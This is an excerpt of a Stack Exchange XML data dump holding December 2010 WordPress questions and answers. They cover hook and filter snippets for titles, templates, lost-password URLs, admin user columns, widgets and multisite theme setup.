  <row Id="5984" PostTypeId="2" ParentId="5967" CreationDate="2010-12-27T13:22:24.473" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@cannyboy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I misunderstand, I think what you need is to use &lt;code&gt;'the_title'&lt;/code&gt; filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simplly enter &lt;em&gt;&quot;Title 1 * Title2&quot;&lt;/em&gt; into your title field, this code I've written for this hook should wrap your Title2 in a &lt;code&gt;&amp;lt;span class=&quot;title2&quot;&amp;gt;&lt;/code&gt; which will allow you to style it with CSS. You can put the following code into your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_title','yoursite_the_title');&#xA;function yoursite_the_title($title) {&#xA;  $titles = explode('*',$title);&#xA;  $title = trim($title[0]);&#xA;  if (isset($title[1])) &#xA;    $title .= ' * &amp;lt;span class=&quot;title2&quot;&amp;gt;' . trim($title[1]) . '&amp;lt;/span&amp;gt;';&#xA;  return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this will wrap your second title everywhere so you might have some places it does it that you don't want it to do it which case you'll need to figure out how to tell the function not run for only those cases.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-28T00:10:24.883" LastActivityDate="2010-12-28T00:10:24.883" CommentCount="7" />
  <row Id="5985" PostTypeId="2" ParentId="5978" CreationDate="2010-12-27T14:11:09.817" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Hamza:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are looking to do is for your plugin to hook &lt;code&gt;'template_include'&lt;/code&gt; to tell it to load a file from your plugin directory. Here's starter code for your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Mobile View Plugin&#xA;*/&#xA;&#xA;if (is_mobile_user()) // YOU NEED TO DEFINE THIS FUNCTION&#xA;  class MobileViewPlugin {&#xA;    static function on_load() {&#xA;      add_filter('template_include',array(__CLASS__,'template_include'));&#xA;    }&#xA;    function template_include($template_file) {&#xA;      return dirname( __FILE__) . '/theme/index.php';&#xA;    }&#xA;  }&#xA;  MobileViewPlugin::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this will require that you somehow filter out when it is not a mobile user by defining the &lt;code&gt;is_mobile_user()&lt;/code&gt; function &lt;em&gt;(or similar)&lt;/em&gt; and it also means that your &lt;code&gt;/theme/index.php&lt;/code&gt; will need to handle everything, included all URLs as you've basically bypassed the default URL routing by doing this &lt;em&gt;(or your could inspect the values of &lt;code&gt;template_file&lt;/code&gt; and reuse the logic by routing to equivalent files in your plugin directory.)&lt;/em&gt; Good luck.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. This does not provide a mobile solution for the admin. That would be 10x more involved.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-27T14:11:09.817" CommentCount="4" />
  <row Id="5986" PostTypeId="2" ParentId="5973" CreationDate="2010-12-27T14:26:38.407" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@stubudz:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are trying to make things easy on me today, right? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment_counts = get_comment_count();&#xA;echo $comment_counts['approved'];&#xA;//print_r($comment_counts); // Uncomment to see all from get_comment_count()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-27T14:26:38.407" CommentCount="2" />
  <row Id="5987" PostTypeId="1" AcceptedAnswerId="5990" CreationDate="2010-12-27T14:59:03.360" Score="1" ViewCount="135" Body="&lt;p&gt;i recently found that a login url filter is available but i can't find a solution for the forgot password as well,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the login url i use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_login_url($login_url) {&#xA;    return ''.get_option('siteurl'). '/login';&#xA;}&#xA;add_filter('login_url','custom_login_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it possible to do the same for the forgot password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot,&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-27T16:10:00.447" Title="Is it possible to use a forgot password url filter?" Tags="&lt;functions&gt;&lt;filters&gt;&lt;login&gt;&lt;urls&gt;&lt;password&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5988" PostTypeId="2" ParentId="1733" CreationDate="2010-12-27T15:35:55.267" Score="0" ViewCount="" Body="&lt;p&gt;I've decided to crop thumbnails using the native &quot;wp_get_attachment_image&quot;... here goes an example of a image gallery, with cropped thumbnails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpworks.wordpress.com/2010/12/27/image-gallery-with-image-crop/&quot; rel=&quot;nofollow&quot;&gt;http://wpworks.wordpress.com/2010/12/27/image-gallery-with-image-crop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;" LastActivityDate="2010-12-27T15:35:55.267" />
  <row Id="5989" PostTypeId="2" ParentId="2075" CreationDate="2010-12-27T15:41:13.340" Score="0" ViewCount="" Body="&lt;p&gt;take a look on this example, with cropping thumbnails using the native &quot;wp_get_attachment_image&quot;... here goes an example of a image gallery, with cropped thumbnails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpworks.wordpress.com/2010/12/27/image-gallery-with-image-crop/&quot; rel=&quot;nofollow&quot;&gt;http://wpworks.wordpress.com/2010/12/27/image-gallery-with-image-crop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;" LastActivityDate="2010-12-27T15:41:13.340" />
  <row Id="5990" PostTypeId="2" ParentId="5987" CreationDate="2010-12-27T16:10:00.447" Score="3" ViewCount="" Body="&lt;p&gt;Yes it's also possible for the password, by running a filter on &lt;code&gt;lostpassword_url&lt;/code&gt;, which is basically the password equivalent of the login url..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Basically the same as before, just changed the function and hook names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'lostpassword_url', 'custom_lostpass_url' );&#xA;&#xA;function custom_lostpass_url( $lostpassword_url ) {&#xA;    return get_option('siteurl'). '/lostpass';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-27T16:10:00.447" />
  <row Id="5991" PostTypeId="1" AcceptedAnswerId="5997" CreationDate="2010-12-27T17:23:40.733" Score="0" ViewCount="225" Body="&lt;p&gt;I'm using the manage_users_columns to display a custom field I create in the usermeta database called company. My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mysite_column_company( $defaults ) {&#xA; $defaults['mysite-usercolumn-company'] = __('Company', 'user-column');&#xA;  return $defaults;&#xA; }&#xA; function mysite_custom_column_company($value, $column_name, $id) {&#xA;  if( $column_name == 'mysite-usercolumn-company' ) {&#xA;        return get_usermeta($id, 'company');&#xA;  }&#xA; }&#xA;&#xA;add_action('manage_users_custom_column', 'mysite_custom_column_company', 15, 3);&#xA;add_filter('manage_users_columns', 'mysite_column_company', 15, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to get to display two other custom fields, but can't figure out the proper function. Duplicating this one doesn't work and I've not had any luck adding new functions within this one for each unique column, mostly because I can't seem to figure out how to properly define the $defaults variable. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2010-12-27T22:29:51.373" Title="How to display multiple custom columns in the wp-admin users.php?" Tags="&lt;wp-admin&gt;&lt;functions&gt;&lt;users&gt;" AnswerCount="1" />
  <row Id="5992" PostTypeId="2" ParentId="5792" CreationDate="2010-12-27T20:04:28.290" Score="2" ViewCount="" Body="&lt;p&gt;I've used cforms II for that in the past. It's way more than what you need, but it's really powerful, so it means only one plugin to implement the subscription, contact, and other forms within the site&#xA;&lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.deliciousdays.com/cforms-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-12-27T20:04:28.290" CommentCount="2" />
  <row Id="5993" PostTypeId="1" CreationDate="2010-12-27T20:04:42.670" Score="0" ViewCount="112" Body="&lt;p&gt;I have my wordpress blog in the root of my website (example.org) and would like to store uploaded files in a subdomain depending on type of file, for example I currently have static.example.org/images, static.example.org/video and static.example.org/audio and was trying to find a way to put uploaded files in the subdomain through the Wordpress Interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a plugin which is quite dynamic in storing files, but it won't pass to subdomians, can anybody help or suggest anything?&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2010-12-28T02:48:06.913" Title="inserting uploads into subdomain" Tags="&lt;3.0.3&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5994" PostTypeId="2" ParentId="578" CreationDate="2010-12-27T20:37:04.127" Score="0" ViewCount="" Body="&lt;p&gt;Apologies for the fact that, as a new user, I can't post comments but I can post an answer... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of WordPress 3.1 (RC 1) Mike's answer (which has served me so well for the past couple for months) no longer works for me; restricting by any taxonomy child gives an empty result. &#xA;I tried Somatic's update and it worked great; even better, it works with &lt;strong&gt;multiple taxonomy queries&lt;/strong&gt; which has been worked into this release.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-27T20:37:04.127" CommentCount="1" />
  <row Id="5995" PostTypeId="2" ParentId="5911" CreationDate="2010-12-27T21:39:02.370" Score="2" ViewCount="" Body="&lt;p&gt;@hakre - see the updated plugin link above. Previously, we called this multisite in wpmu. ;) that plugin was based on an old plugin for wpmu called multi-site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had one as well here: &lt;a href=&quot;http://wpmututorials.com/simple-multi-site-plugin-e-book/&quot; rel=&quot;nofollow&quot;&gt;http://wpmututorials.com/simple-multi-site-plugin-e-book/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, my wpmututorials.com site is a mapped domain in a multisite install, and my personal domain atypicalife.net is another network inside the same installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah - I'm already using this feature and have been for a while. I talked about this in WC NYC in 2009.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-27T21:39:02.370" CommentCount="2" />
  <row Id="5996" PostTypeId="2" ParentId="3627" CreationDate="2010-12-27T22:24:56.650" Score="0" ViewCount="" Body="&lt;p&gt;get_currentuserinfo()  didn't work for me. I've written about this problem and solution at my blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.rhysgoodwin.com/programming/wordpress-wp_signon-current_user-is-not-populated/&quot; rel=&quot;nofollow&quot;&gt;http://blog.rhysgoodwin.com/programming/wordpress-wp_signon-current_user-is-not-populated/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Rhys&lt;/p&gt;&#xA;" LastActivityDate="2010-12-27T22:24:56.650" />
  <row Id="5997" PostTypeId="2" ParentId="5991" CreationDate="2010-12-27T22:29:51.373" Score="1" ViewCount="" Body="&lt;p&gt;hummm... do you mean something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mysite_column_company( $defaults ) {&#xA;    $defaults['mysite-usercolumn-company'] = __('Company', 'user-column');&#xA;    $defaults['mysite-usercolumn-otherfield1'] = __('Other field 1', 'user-column');&#xA;    $defaults['mysite-usercolumn-otherfield2'] = __('Other field 2', 'user-column');&#xA;    return $defaults;&#xA;}&#xA;function mysite_custom_column_company($value, $column_name, $id) {&#xA;    if( $column_name == 'mysite-usercolumn-company' ) {&#xA;        return get_the_author_meta( 'company', $id );&#xA;    }&#xA;    elseif( $column_name == 'mysite-usercolumn-otherfield1' ) {&#xA;        return get_the_author_meta( 'otherfield1', $id );&#xA;    }&#xA;    elseif( $column_name == 'mysite-usercolumn-otherfield2' ) {&#xA;        return get_the_author_meta( 'otherfield2', $id );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by the way, you should use get_the_author_meta() instead of get_usermeta() as it is deprecated.&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2010-12-27T22:29:51.373" CommentCount="2" />
  <row Id="5998" PostTypeId="1" CreationDate="2010-12-27T22:55:47.383" Score="0" ViewCount="144" Body="&lt;h2&gt;problem:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I request a &quot;tag&quot; page e.g. /tag/whatever no tag page shows up only the frontpage. This also seems to be the case with categories&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;what did i do&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have moved this blog from single site to my WP3 Multisite setup (#21)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What Did I try already&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The other 20 moved weblogs work OK so it is not &quot;generic&quot; or .htacess or wpconfig&lt;/li&gt;&#xA;&lt;li&gt;I have tried other themes like 2010 : the same problem&lt;/li&gt;&#xA;&lt;li&gt;Just to be sure I flushed the permalinks&lt;/li&gt;&#xA;&lt;li&gt;&quot;if(is_tag()) { echo &quot;&quot;; } else { echo &quot;&quot;; }&quot; always show &quot;no tag&quot;... in other words the page itself does not think it is a tag page&lt;/li&gt;&#xA;&lt;li&gt;the table structures and database contents for terms, etc... look ok&lt;/li&gt;&#xA;&lt;li&gt;i have a template page &quot;tag.php&quot; with in it &quot;hello tag&quot;, this one does not show&lt;/li&gt;&#xA;&lt;li&gt;the backend looks completely ok: tags show with posts etc..&lt;/li&gt;&#xA;&lt;li&gt;the tags DO appear under the posts&lt;/li&gt;&#xA;&lt;li&gt;template_loader-php : the is_tag = false&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Current Hypothesis&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the query parser in query.php shows the correct tag in the array but the new&#xA;$this-&gt;parse_tax_query( $qv ); hmmm maybe returns the wrong thing?&lt;/li&gt;&#xA;&lt;li&gt;any leads to give a brain spark? must be something stupid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;? COULD it be that in query.php in the function parse_tax_query... there is no check for the &quot;tag&quot; in a query string??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I found it! (but it took some time): it is the simple tags plugin (http://redmine.beapi.fr/projects/show/simple-tags) conflicts with the new parse_tax_query .... in 3.1 .... phew!&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-12-28T06:58:49.170" LastActivityDate="2011-01-27T10:17:38.207" CommunityOwnedDate="2010-12-28T06:25:44.707" Title="Tag pages do not show" Tags="&lt;permalinks&gt;&lt;tags&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5999" PostTypeId="1" CreationDate="2010-12-27T23:24:32.193" Score="0" ViewCount="161" Body="&lt;p&gt;I've been going round and round with this so I hope someone can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup about 10 websites, all on Wordpress, for friends. At the moment, each of these sites are on separate wordpress installs. What i'd like to do is get to the stage where I have 1 install that can accomodate the 10 sites, but each site can't see the details/users/themes etc. of the other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;WP-Hive - This appeared to have some potential however it only caters to a single administrator. As i've just done these sites for friends, I generally give them a login to get in and edit the page content/post blogs themselves. So I don't think this will work. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wordpress 3.0.3 Network - I set this up with 2 sites however I had trouble with the domains and redirects as well as the level of access users had to everything (ie. Users can see all of the themes and plugins available, even when they aren't relevant to them). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The last thing i've found to try is this: &lt;a href=&quot;http://striderweb.com/nerdaphernalia/features/virtual-multiblog/&quot; rel=&quot;nofollow&quot;&gt;http://striderweb.com/nerdaphernalia/features/virtual-multiblog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I am doing wrong or how I can get this to work?&lt;/p&gt;&#xA;" OwnerUserId="578" LastActivityDate="2011-01-28T00:17:42.307" Title="Multiple sites with independent users" Tags="&lt;multisite&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="6000" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T00:07:12.087" Score="5" ViewCount="" Body="&lt;h2&gt;Enable oEmbed in Text/HTML Widgets&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;add_filter( 'widget_text', array( $wp_embed, 'run_shortcode' ), 8 );&#xA;add_filter( 'widget_text', array( $wp_embed, 'autoembed'), 8 );&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this for youtube video widgets and flickr stuff.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2010-12-28T00:07:12.087" CommunityOwnedDate="2010-12-28T00:07:12.087" />
  <row Id="6001" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T00:14:24.793" Score="3" ViewCount="" Body="&lt;h2&gt;Remove Auto Linking of URLs in WordPress Comments&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&#xA;remove_filter('comment_text', 'make_clickable', 9);&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2010-12-28T00:14:24.793" CommunityOwnedDate="2010-12-28T00:14:24.793" />
  <row Id="6002" PostTypeId="2" ParentId="5999" CreationDate="2010-12-28T00:17:39.437" Score="2" ViewCount="" Body="&lt;p&gt;Option 2 should work, I just wrote &lt;a href=&quot;http://wp.leau.co/2010/12/24/moving-a-weblog-to-a-wp3-multisite-weblog-system-on-mediatemple/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2010/12/24/moving-a-weblog-to-a-wp3-multisite-weblog-system-on-mediatemple/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;themes: you should NOT network activate all themes, only activate them on a specific site via the site settings for a blog&lt;/li&gt;&#xA;&lt;li&gt;plugins: disable the setting in the network admin to display plugin etc..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How to enable a theme for a specific site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To network-enable or to not network-enable, that's the question!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; click on network admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb4.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; click on themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb5.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt;. Add your themes and make sure it says “network Enable” (so do NOT network enable them) (since then they would be available for all sites)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb6.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt;. click on sites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb7.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; Click on “edit” beneath the site you want to give access to a theme (or a plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb8.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; Click on the tab “Themes” and find the theme you want to activate, then press “enable” beneath that theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2010/12/image_thumb9.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; You are done, the theme is now available for that blog.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-12-29T00:10:26.427" LastActivityDate="2010-12-29T00:10:26.427" CommentCount="7" />
  <row Id="6003" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T00:32:05.323" Score="3" ViewCount="" Body="&lt;h2&gt;Make WordPress Editor Allow iFrames&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// make TinyMCE allow iframes&#xA;add_filter('tiny_mce_before_init', create_function( '$a',&#xA;'$a[&quot;extended_valid_elements&quot;] = &quot;iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]&quot;; return $a;') );&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2010-12-28T00:32:05.323" CommunityOwnedDate="2010-12-28T00:32:05.323" />
  <row Id="6004" PostTypeId="1" CreationDate="2010-12-28T00:35:29.000" Score="3" ViewCount="309" Body="&lt;p&gt;Say I have top-level(parentless) pages called &lt;strong&gt;Fruit&lt;/strong&gt;, &lt;strong&gt;Animals&lt;/strong&gt;, &lt;strong&gt;Cars&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When, say, &lt;strong&gt;Fruit&lt;/strong&gt; is selected I would like to show links to the individual &lt;strong&gt;fruit&lt;/strong&gt; pages below. I would like to be able to dislpay these &lt;strong&gt;fruits&lt;/strong&gt; (or &lt;strong&gt;animals&lt;/strong&gt;, or &lt;strong&gt;cars&lt;/strong&gt;) in several groups with a space between each group of fruits.. a bit like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+---------------+-----------+--------+&#xA;|   Fruit       |  Animals  |  Cars  |&#xA;+---------------+-----------+--------+   &#xA;|   Apple       |           |        |&#xA;|   Kiwi        |           |        |&#xA;|   Watermelon  |           |        |&#xA;+---------------+-----------+--------+  &#xA;|   Banana      |           |        |&#xA;|   Lemon       |           |        |&#xA;+---------------+-----------+--------+  &#xA;|   Strawberry  |           |        |&#xA;|   Raspberry   |           |        |&#xA;+---------------+-----------+--------+  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see in this case, I have roughy divided the &lt;strong&gt;fruit&lt;/strong&gt; by color, putting a space inbetween. For &lt;strong&gt;cars&lt;/strong&gt; or &lt;strong&gt;animals&lt;/strong&gt; it might be another criteria. This criteria does not have to be explicitly named anywhere. So I wondering how to output this list, in a way which requires little techinical ability for the person who enters the pages in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I do this to output the child pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $post-&amp;gt;post_parent )&#xA;    $children = wp_list_pages('depth=1&amp;amp;title_li=&amp;amp;child_of='.$post-&amp;gt;post_parent.'&amp;amp;echo=0'); &#xA;else&#xA;    $children = wp_list_pages('depth=1&amp;amp;title_li=&amp;amp;child_of='.$post-&amp;gt;ID.'&amp;amp;echo=0');&#xA;&#xA;echo $children;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't see a way to limit the output to categories, or something similar, using wp_list_pages. The nearest I can see is the 'authors' option, but it doesn't make much sense to login as different users to create different blocks in the menus...&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-29T15:50:49.243" LastActivityDate="2011-03-29T15:50:49.243" Title="Can I display submenus in groups, using wp_list_pages?" Tags="&lt;pages&gt;&lt;menus&gt;&lt;children&gt;" CommentCount="4" />
  <row Id="6005" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T00:45:15.967" Score="5" ViewCount="" Body="&lt;h2&gt;Wordpress Custom Admin Footer&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// customize admin footer text&#xA;function custom_admin_footer() {&#xA;        echo 'add your custom footer text and html here';&#xA;} &#xA;add_filter('admin_footer_text', 'custom_admin_footer');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this for client sites as a simple point of reference to contact me as the dev.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2010-12-28T00:45:15.967" CommunityOwnedDate="2010-12-28T00:45:15.967" />
  <row Id="6006" PostTypeId="1" CreationDate="2010-12-28T01:39:42.743" Score="1" ViewCount="134" Body="&lt;p&gt;Please recommend a theme that would work well with this wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/3REqt.jpg&quot; alt=&quot;wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- Minimal customization preferred - Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2174" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-06-30T08:33:18.417" LastActivityDate="2011-06-30T08:33:18.417" Title="Recommend a Magazine Style Theme for this Wireframe" Tags="&lt;themes&gt;" AnswerCount="2" />
  <row Id="6007" PostTypeId="2" ParentId="5999" CreationDate="2010-12-28T01:57:35.233" Score="0" ViewCount="" Body="&lt;p&gt;Just o make sure you get my post above, &lt;a href=&quot;http://wpmututorials.com/themes/enabling-a-theme-for-just-one-blog/&quot; rel=&quot;nofollow&quot;&gt;http://wpmututorials.com/themes/enabling-a-theme-for-just-one-blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's also a plugin to help lock down what plugins are available to each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-multisite-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/restrict-multisite-widgets/&lt;/a&gt;&#xA;http://wordpress.org/extend/plugins/restrict-multisite-plugins/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, setting up a network is the way to go. you're setting up your own version of wordpress.com for your buddies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want separate domains, use the domain mapping plugin. No redirects needed.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&#xA;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-28T01:57:35.233" CommentCount="1" />
  <row Id="6008" PostTypeId="1" AcceptedAnswerId="7882" CreationDate="2010-12-28T01:58:37.027" Score="1" ViewCount="223" Body="&lt;p&gt;I only want a post to be viewable by the administrator and one user. (So I would have a post for each user)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking of using the Members plugin and meta-data/custom fields to restrict the content. This would effectively make the post private to only those with access and any one else would not even see the post and if they get the url, they will be denied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So would using the Members plugin be the best choice or should I try a different method? and how?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-01-27T08:19:11.873" Title="Restrict post to user_id" Tags="&lt;user-access&gt;&lt;plugin-members&gt;" AnswerCount="2" />
  <row Id="6009" PostTypeId="2" ParentId="6006" CreationDate="2010-12-28T02:12:53.890" Score="3" ViewCount="" Body="&lt;p&gt;Try swift themes with no sidebars turned on and featured post turned on and no widgets: &lt;a href=&quot;http://swiftthemes.com/&quot; rel=&quot;nofollow&quot;&gt;http://swiftthemes.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-12-28T02:12:53.890" CommentCount="1" />
